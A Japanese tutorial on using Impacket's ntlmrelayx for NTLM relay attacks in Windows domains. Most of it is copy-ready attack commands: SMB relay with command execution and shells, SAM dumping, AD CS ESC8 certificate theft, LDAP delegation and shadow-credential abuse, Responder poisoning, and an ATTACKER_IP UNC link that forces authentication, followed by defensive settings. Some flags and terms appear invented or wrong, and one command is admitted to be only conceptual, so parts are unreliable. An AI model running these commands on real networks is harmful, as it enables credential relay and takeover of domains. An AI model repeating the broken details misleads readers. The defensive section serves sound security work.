impacket-ntlmrelayx の徹底解説：NTLM リレー攻撃を理解し悪用する

はじめに：ntlmrelayx とは何か？

ntlmrelayx.py は、Impacket スイートに含まれる強力なツールの一つです。Impacket は、ネットワークプロトコルを扱うための Python クラスのコレクションであり、特に Windows 環境のセキュリティ評価（ペネトレーションテスト）において広く利用されています。

ntlmrelayx の主な機能は、NTLM リレー攻撃を実行することです。これは、ネットワーク上で傍受した NTLM 認証試行を別のサーバーに「中継（リレー）」することで、攻撃者が正規ユーザーになりすましてターゲットシステムにアクセスすることを可能にする攻撃手法です。

このブログ記事では、ntlmrelayx の基本的な使い方から、より高度な攻撃シナリオ、そしてそれらに対する防御策までを詳しく解説していきます。

NTLM リレー攻撃の仕組み

NTLM リレー攻撃を理解するには、まず NTLM 認証の基本的な流れを知る必要があります。NTLMv1/v2 はチャレンジ・レスポンス型の認証プロトコルですが、サーバーがクライアントを認証するだけで、クライアントはサーバーを認証しません。この片方向の認証が悪用されるポイントです。

1. 認証の開始: クライアントがサーバーにアクセスしようとします（例：SMB 共有への接続）。
2. チャレンジ送信: サーバーはクライアントに対し、ランダムな値（チャレンジ）を送信します。
3. レスポンス計算: クライアントは、自身のパスワードハッシュとサーバーから受け取ったチャレンジを用いて、レスポンスを計算します。
4. レスポンス送信: クライアントは計算したレスポンスをサーバーに送信します。
5. 検証: サーバーは、クライアントから受け取ったレスポンスが正しいかどうかを（通常、ドメインコントローラーに問い合わせて）検証します。

NTLM リレー攻撃では、攻撃者がクライアントとサーバーの間に割り込みます（中間者攻撃）。

1. 中間者: 攻撃者は、クライアントからの認証要求を待ち受けます。これは、Responder などのツールを使って LLMNR/NBT-NS ポイズニングを行ったり、悪意のあるリンクをクリックさせたりすることで引き起こされます。
2. チャレンジの転送: クライアントが攻撃者に接続すると、攻撃者はクライアントの代わりにターゲットサーバーに接続を開始します。ターゲットサーバーは攻撃者にチャレンジを送ります。攻撃者はこのチャレンジをそのままクライアントに転送します。
3. レスポンスの転送: クライアントは受け取ったチャレンジ（元々はターゲットサーバーが発行したもの）に対してレスポンスを計算し、攻撃者に送信します。攻撃者はこのレスポンスをターゲットサーバーに転送します。
4. 認証成功（なりすまし）: ターゲットサーバーは、受け取ったレスポンスが正当なもの（クライアントの認証情報に基づいている）であるため、攻撃者（実際にはクライアントになりすましている）の認証を許可します。

これにより、攻撃者はクライアントの権限でターゲットサーバーにアクセスできるようになります。ntlmrelayx は、このプロセスを自動化し、様々なプロトコル（SMB, HTTP, LDAP, MSSQL など）に対してリレー攻撃を実行する機能を提供します。

準備：必要なもの

• 実行環境: 通常、Kali Linux などのペネトレーションテスト用ディストリビューションが推奨されます。Python 3 が必要です。
• Impacket のインストール: 最新版の Impacket をインストールします。GitHub から直接クローンするか、pip を使うのが一般的です。

  pip install impacket

  または

  git clone https://github.com/fortra/impacket.git
  cd impacket
  python setup.py install

• 認証の強制手段: NTLM 認証を攻撃者のマシンに誘導する方法が必要です。一般的なツールには以下のようなものがあります。
  • Responder: LLMNR, NBT-NS, MDNS のポイズニングを行い、ネットワーク内のクライアントからの認証要求を待ち受けます。
  • mitm6: IPv6 を利用して中間者攻撃を行い、認証情報を取得します。DHCPv6 サーバーとして動作し、偽の DNS サーバー情報を配布します。
  • 悪意のあるファイル/リンク: UNC パスを含むファイル（例：<img src="\\ATTACKER_IP\share\image.jpg">）やリンクをユーザーに開かせることで、SMB 認証を強制します。
  • PetitPotam (MS-EFSRPC): 特定の条件下で、ドメインコントローラーを含む Windows サーバーに強制的に認証を行わせる脆弱性（2021年7月頃に話題化）。
• ネットワーク知識: TCP/IP、DNS、Active Directory、NTLM 認証、SMB、HTTP などのプロトコルに関する基本的な知識が必要です。
• 権限: 攻撃対象のネットワークに接続されている必要があります。

基本的な使い方：SMB リレー

最も基本的な使用例は、SMB プロトコルへのリレーです。これにより、ターゲットサーバー上でコマンドを実行したり、SAM ハッシュをダンプしたり、対話的なシェルを取得したりできます。

基本的なコマンド構文は以下のようになります。

impacket-ntlmrelayx -t <TARGET_IP> [オプション]

または、複数のターゲットをファイルから読み込む場合：

impacket-ntlmrelayx -tf <TARGET_FILE> [オプション]

例：単一ターゲットへの SMB リレーでコマンドを実行

この例では、IP アドレス 192.168.1.100 のサーバーに対してリレー攻撃を行い、成功した場合に whoami コマンドを実行します。-smb2support オプションは、SMBv2/v3 での接続を有効にします（現代の環境ではほぼ必須です）。

sudo impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support -c "whoami"

ここで、何らかの方法（Responder など）でクライアントからの NTLM 認証が攻撃者のマシン（ntlmrelayx を実行しているマシン）に誘導されると、ntlmrelayx はその認証情報を 192.168.1.100 にリレーします。リレーが成功し、かつリレーされたユーザーがターゲットサーバー上でコマンド実行権限を持っていれば、whoami の実行結果が表示されます。

対話的な SMB シェル (Interactive Shell)

-c の代わりに -i オプションを使用すると、ターゲットサーバー上で対話的なコマンドプロンプト（のようなもの）を開くことができます。これにより、複数のコマンドを連続して実行できます。

sudo impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support -i

認証がリレーされ、セッションが確立されると、ntlmrelayx のコンソールでコマンドを入力できるようになります。

SAM ハッシュのダンプ

リレー先のサーバーで管理者権限を持つユーザーの認証をリレーできた場合、SAM データベース（ローカルユーザーのパスワードハッシュ）をダンプできます。

sudo impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support -c "reg save HKLM\SAM sam.save && reg save HKLM\SYSTEM system.save && secretsdump.py -sam sam.save -system system.save LOCAL"

(注意: 上記は概念的な例です。実際には secretsdump.py をターゲット上で直接実行するのではなく、ダンプされたファイルを攻撃者のマシンに転送し、ローカルで解析する必要があります。-e オプションでスクリプトをアップロードして実行する、または -i で手動で操作するなどの方法があります。) より簡単な方法として、ntlmrelayx は SAM ハッシュダンプを自動で行う機能も内蔵しています（ただし、特定の条件下でのみ機能します）。

sudo impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support --dump-sam

高度な攻撃シナリオ

HTTP/HTTPS リレー

Web サーバーに対して NTLM 認証が有効になっている場合（例: Outlook Web App (OWA), Active Directory Certificate Services (AD CS), SharePoint など）、HTTP(S) 経由でリレー攻撃が可能です。

例：AD CS (Active Directory 証明書サービス) へのリレー (ESC8)

AD CS の特定の Web エンドポイント (/certsrv/) は NTLM 認証を受け付ける場合があります。ここにドメイン管理者などの高権限ユーザーの認証をリレーできれば、そのユーザーになりすまして証明書を発行させ、最終的にドメイン管理者権限を奪取できる可能性があります (ESC8 と呼ばれる攻撃手法)。

sudo impacket-ntlmrelayx -t https://ADCS_SERVER_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

このコマンドは、リレーされた認証情報を使用して AD CS から指定されたテンプレート（この場合は DomainController）で証明書を取得しようと試みます。成功すると、証明書と秘密鍵がファイルに保存され、これを getTGT.py などで利用して Kerberos チケットを取得し、ドメイン管理者として活動できます。

他の Web サービスに対しては、リレー先の URL を指定して試行します。-c や -i は通常 SMB リレーでのみ有効ですが、SOCKS プロキシ機能 (-socks) を使うことで、リレーされたセッションを通じて他のツール (例: ブラウザ、curl) を使い、Web サービスを操作できる場合があります。

LDAP/LDAPS リレー

ドメインコントローラーの LDAP/LDAPS サービスに対して NTLM 認証をリレーできる場合、Active Directory オブジェクトに対する変更が可能になり、非常に危険です。LDAPS (ポート 636) がターゲットの場合、通常、署名 (Signing) が要求されるためリレーは困難ですが、LDAP (ポート 389) が有効で署名が必須でない場合、攻撃が成功する可能性があります。

例：Resource-Based Constrained Delegation (RBCD) の設定

コンピューターアカウントの認証をドメインコントローラーにリレーし、そのコンピューターアカウントの msDS-AllowedToActOnBehalfOfOtherIdentity 属性を変更することで、RBCD を設定できます。これにより、攻撃者が制御するアカウントが、リレー元のコンピューターアカウントになりすますことが可能になります。

sudo impacket-ntlmrelayx -t ldap://DC_IP -smb2support --delegate-access ATTACKER_CONTROLLED_COMPUTER_ACCOUNT

例：Shadow Credentials (キー信頼) の追加

ユーザーアカウントの認証をリレーし、そのユーザーオブジェクトの msDS-KeyCredentialLink 属性を変更することで、攻撃者が制御するキーペアを登録できます。これにより、攻撃者はそのユーザーとして認証できるようになります。

sudo impacket-ntlmrelayx -t ldap://DC_IP -smb2support --shadow-credentials --shadow-target VICTIM_USERNAME

その他、グループメンバーの追加 (--add-group-memberships) など、様々な LDAP 操作が可能です。

SOCKS プロキシ

-socks オプションを使用すると、ntlmrelayx はローカルで SOCKS プロキシサーバーを起動します。リレーが成功すると、そのリレーされたセッションを通じてターゲットサーバーへの通信が SOCKS プロキシ経由で行われるようになります。

sudo impacket-ntlmrelayx -t smb://TARGET_IP -smb2support -socks

これにより、proxychains などのツールと組み合わせて、リレーされた認証コンテキストを使用して様々なツール（例: smbclient, mssqlclient.py, ブラウザ）をターゲットサーバーに対して実行できます。これは非常に柔軟な攻撃手法です。

# proxychains の設定ファイル (/etc/proxychains.conf など) に以下を追加
# socks5 127.0.0.1 1080 (デフォルトポート)

proxychains smbclient //TARGET_IP/C$ -U relayed_user%anything

主要なオプション解説

これらは一部のオプションです。impacket-ntlmrelayx -h を実行することで、利用可能な全てのオプションとその説明を確認できます。

実践例：Responder + ntlmrelayx による SMB リレー

ここでは、内部ネットワークにおいて Responder と ntlmrelayx を連携させ、クライアントの認証情報を SMB リレーしてターゲットサーバーでコマンドを実行するシナリオを見てみましょう。

状況：

• 攻撃者マシン IP: 192.168.1.50
• ターゲットサーバー IP (SMB 署名無効): 192.168.1.100
• 被害者クライアント IP: 192.168.1.150
• 目的: 被害者クライアントの認証情報をリレーし、ターゲットサーバー 192.168.1.100 で whoami を実行する。

ステップ 1: Responder の起動

攻撃者マシンで Responder を起動し、LLMNR/NBT-NS ポイズニングを行い、NTLM 認証情報を待ち受けます。この際、Responder 自身の SMB/HTTP サーバー機能を無効にし、認証情報を ntlmrelayx に転送するようにします。

sudo responder -I eth0 -r -d -w -v --disable-ess --lm --disable-smb-server --disable-http-server

(-I eth0 は適切なネットワークインターフェースに置き換えてください。-r -d -w はポイズニングを有効化、-v は詳細表示、--disable-ess は ESS (Extended Security Signatures) の無効化、--lm は LM ハッシュの許可 (環境による)、--disable-smb-server と --disable-http-server で Responder 自身のサーバーを止めます)

ステップ 2: ntlmrelayx の起動

別のターミナルで ntlmrelayx を起動し、ターゲットサーバーを指定してリレーを待ち受けます。

sudo impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support -c "whoami"

ステップ 3: 認証の強制 (トリガー)

被害者クライアント (192.168.1.150) が存在しないホスト名（例: \\nonexistenthost\share）にアクセスしようとすると、LLMNR/NBT-NS クエリがブロードキャストされます。Responder はこれに応答し、自身の IP アドレス (192.168.1.50) を返します。クライアントは攻撃者のマシンに SMB 接続を試み、NTLM 認証が開始されます。

ステップ 4: リレーの実行と結果

Responder は受信した認証要求を処理せず、ntlmrelayx がその認証試行を捕捉します。ntlmrelayx は、クライアント (192.168.1.150) から受け取った認証情報をターゲットサーバー (192.168.1.100) にリレーします。

もし、192.168.1.150 のユーザーが 192.168.1.100 に対して有効な認証情報を持ち、かつコマンド実行権限があり、さらに 192.168.1.100 で SMB 署名が無効 (または必須でない) 場合、リレーは成功します。

ntlmrelayx のコンソールには、リレーが成功した旨のメッセージと、whoami コマンドの実行結果 (例: TARGETDOMAIN\VictimUser) が表示されるでしょう。

[+] Authenticating against smb://192.168.1.100 as TARGETDOMAIN\VictimUser SUCCEED
[*] Executing command: whoami
[*] Command executed successfully: TARGETDOMAIN\VictimUser

このように、簡単なステップで認証情報をリレーし、リモートでコマンドを実行できてしまいます。

防御策と緩和策

NTLM リレー攻撃は強力ですが、適切な対策を講じることでリスクを大幅に軽減できます。

• SMB 署名の有効化 (必須化):
  これが最も効果的な SMB リレー対策の一つです。サーバーとクライアントの両方で SMB 署名を必須 (RequireSecuritySignature) に設定します。これにより、通信経路の途中でパケットが改ざんされていないことが保証され、リレー攻撃を防ぎます。グループポリシーで設定可能です。
  Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
  • Microsoft network client: Digitally sign communications (always) → Enabled
  • Microsoft network server: Digitally sign communications (always) → Enabled
• EPA (Extended Protection for Authentication) の有効化:
  認証が行われているチャネル（TLS など）と認証情報を結びつけることで、リレー攻撃を防ぎます。特に HTTPS へのリレーに対して有効です。IIS や Exchange など、対応しているサービスで有効化することが推奨されます。
• LDAP 署名と LDAP チャネルバインディングの有効化 (必須化):
  ドメインコントローラーでの LDAP 署名 (LDAPServerIntegrity) と LDAP チャネルバインディング (LdapEnforceChannelBinding) を必須にすることで、LDAP/LDAPS へのリレー攻撃を防ぎます。2020年3月のセキュリティ更新プログラム (ADV190023) 以降、デフォルトで有効化が推奨されています。
• NTLM の無効化 / Kerberos の利用促進:
  可能であれば、NTLM 認証を無効にし、より安全な Kerberos 認証のみを使用するようにします。グループポリシーで NTLM の利用を制限できます (Network security: Restrict NTLM)。ただし、互換性の問題が発生する可能性があるため、慎重な計画とテストが必要です。
• LLMNR と NetBIOS Name Service (NBT-NS) の無効化:
  これらのプロトコルは Responder などによる名前解決ポイズニングの主な標的です。DNS が正しく機能している環境では不要な場合が多く、無効化が推奨されます。グループポリシーまたはローカルのネットワーク設定で無効化できます。
• ネットワークセグメンテーション:
  ネットワークを適切に分割し、ファイアウォールで不要な通信（特にクライアント間の SMB 通信など）をブロックします。これにより、攻撃者がリレーできる範囲を制限します。
• 特権アカウントの保護:
  Domain Admins などの特権アカウントが、通常のワークステーションやサーバーにログオンしないようにします (Tier モデルの導入など)。また、特権アカウントに対してはアカウントオプション「Account is sensitive and cannot be delegated」を有効にすることも、特定のリレー攻撃（委任を利用するもの）に対して役立ちます。
• AD CS の設定見直し:
  AD CS を利用している場合、証明書テンプレートの設定を確認し、NTLM 認証を受け付ける Web エンドポイントを保護（EPA の有効化など）または無効化します。不要な Web エンドポイントは停止します。
• セキュリティ監視:
  ネットワークトラフィックや認証ログを監視し、異常な認証試行やリレー攻撃の兆候（例：短時間に多数の失敗した NTLM 認証）を検出する仕組みを導入します。

倫理的な考慮事項と合法性

ntlmrelayx.py は、セキュリティ専門家がシステムの脆弱性を発見し、修正するために使用されることを意図したツールです。しかし、その強力さゆえに、悪意のある攻撃者によって不正アクセスやシステム侵害に利用される危険性もはらんでいます。

ツールの使い方を学ぶことは重要ですが、それ以上に、その知識をどのように使うかが問われます。常に倫理観を持ち、法律を遵守する姿勢が不可欠です。

まとめ

impacket-ntlmrelayx は、NTLM リレー攻撃を実行するための非常に強力で多機能なツールです。SMB, HTTP, LDAP など様々なプロトコルに対応し、コマンド実行、対話シェル、AD オブジェクト操作、SOCKS プロキシ化など、多彩な攻撃オプションを提供します。

しかし、その強力さゆえに、悪用された場合の被害は甚大です。システム管理者やセキュリティ担当者は、NTLM リレー攻撃の仕組みと、ntlmrelayx のようなツールが存在することを理解し、SMB 署名、EPA、LDAP 署名/チャネルバインディングの有効化、NTLM の制限、LLMNR/NBT-NS の無効化といった防御策を適切に講じることが極めて重要です。

このツールを使用する際は、常に許可された範囲内で、倫理と法律を遵守することを忘れないでください。セキュリティ知識は、システムを守るために活用しましょう。